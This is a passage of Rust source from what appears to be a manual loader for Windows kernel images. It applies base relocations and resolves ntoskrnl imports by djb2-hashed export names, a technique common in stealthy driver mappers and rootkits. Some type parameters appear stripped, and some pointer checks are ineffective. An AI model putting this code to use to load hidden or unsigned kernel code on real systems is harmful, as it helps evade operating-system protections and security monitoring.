_IMAGE_BASE_RELOCATION block 249 | let type_field = (item.offset(i as isize).read() >> 12) as u32; 250 | let offset = item.offset(i as isize).read() & 0xFFF; 251 | 252 | //IMAGE_REL_BASED_DIR32 does not exist 253 | //#define IMAGE_REL_BASED_DIR64 10 254 | if type_field == IMAGE_REL_BASED_DIR64 || type_field == IMAGE_REL_BASED_HIGHLOW { 255 | // Add the delta to the value of each address where the relocation needs to be performed 256 | *((address + offset as isize) as *mut isize) += delta; 257 | } 258 | } 259 | 260 | // Get a pointer to the next _IMAGE_BASE_RELOCATION 261 | base_relocation = (base_relocation as usize + (*base_relocation).SizeOfBlock as usize) 262 | as PIMAGE_BASE_RELOCATION; 263 | } 264 | 265 | return Some(true); 266 | } 267 | 268 | /// Process image import table (resolve imports) 269 | pub unsafe fn resolve_imports(module_base: *mut u8, ntoskrnl_base: *mut u8) -> Option { 270 | let nt_headers = get_nt_headers(module_base)?; 271 | 272 | // Get a pointer to the first _IMAGE_IMPORT_DESCRIPTOR 273 | let mut import_directory = (module_base as usize 274 | + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT as usize] 275 | .VirtualAddress as usize) as PIMAGE_IMPORT_DESCRIPTOR; 276 | 277 | if import_directory.is_null() { 278 | return Some(false); 279 | } 280 | 281 | while (*import_directory).Name != 0x0 { 282 | // Get a pointer to the Original Thunk or First Thunk via OriginalFirstThunk or FirstThunk 283 | let mut original_thunk = if (module_base as usize 284 | + (*import_directory).Anonymous.OriginalFirstThunk as usize) 285 | != 0 286 | { 287 | let orig_thunk = (module_base as usize 288 | + (*import_directory).Anonymous.OriginalFirstThunk as usize) 289 | as PIMAGE_THUNK_DATA64; 290 | orig_thunk 291 | } else { 292 | let thunk = (module_base as usize + (*import_directory).FirstThunk as usize) 293 | as PIMAGE_THUNK_DATA64; 294 | thunk 295 | }; 296 | 297 | if original_thunk.is_null() { 298 | return Some(false); 299 | } 300 | 301 | let mut thunk = 302 | (module_base as usize + (*import_directory).FirstThunk as usize) as PIMAGE_THUNK_DATA64; 303 | 304 | if thunk.is_null() { 305 | return Some(false); 306 | } 307 | 308 | while (*original_thunk).u1.Function != 0 { 309 | // Get a pointer to _IMAGE_IMPORT_BY_NAME 310 | let thunk_data = (module_base as usize + (*original_thunk).u1.AddressOfData as usize) 311 | as PIMAGE_IMPORT_BY_NAME; 312 | 313 | // Get a pointer to the function name in the IMAGE_IMPORT_BY_NAME 314 | let fn_name = (*thunk_data).Name.as_ptr(); 315 | let fn_len: usize = get_cstr_len(fn_name); 316 | let fn_slice = from_raw_parts(fn_name, fn_len); 317 | //log::info!("fn_name: {:?}", String::from_utf8_lossy(fn_slice)); 318 | 319 | // Retrieve the address of the exported function from the DLL and ovewrite the value of "Function" in IMAGE_THUNK_DATA by calling function pointer GetProcAddress by name 320 | (*thunk).u1.Function = get_export_by_hash(ntoskrnl_base, dbj2_hash(fn_slice))? as _; 321 | 322 | // Increment and get a pointer to the next Thunk and Original Thunk 323 | thunk = thunk.add(1); 324 | original_thunk = original_thunk.add(1); 325 | } 326 | 327 | // Increment and get a pointer to the next _IMAGE_IMPORT_DESCRIPTOR 328 | import_directory = 329 | (import_directory as usize + size_of::() as usize) as _; 330 | } 331 | 332 | return Some(true); 333 | } 334 | 335 | pub fn dbj2_hash(buffer: &[u8]) -> u32 { 336 | let mut hash: u32 = 5381; 337 | let mut i: usize = 0; 338 | let mut char: u8; 339 | 340 | while i < buffer.len() { 341 | char = buffer[i]; 342 | 343 | if char == 0 { 344 | i += 1; 345 | continue; 346 | } 347 | 348 | if char >= ('a' as u8) { 349 | char -= 0x20; 350 | } 351 | 352 | hash = ((hash << 5).wrapping_add(hash)) + char as u32; 353 | i += 1; 354 | } 355 | 356 | return hash; 357 | } 358 | 359 | /// Get the length of a C String 360 | pub unsafe fn get_cstr_len(pointer: *const u8) -> usize { 361 | let mut tmp: u64 = pointer as u64; 362 | 363 | while *(tmp as *const u8) != 0 { 364 | tmp += 1; 365 | } 366 | 367 | (tmp - pointer as u64) as _ 368 | } 369 | --------------------------------------------------------------------------------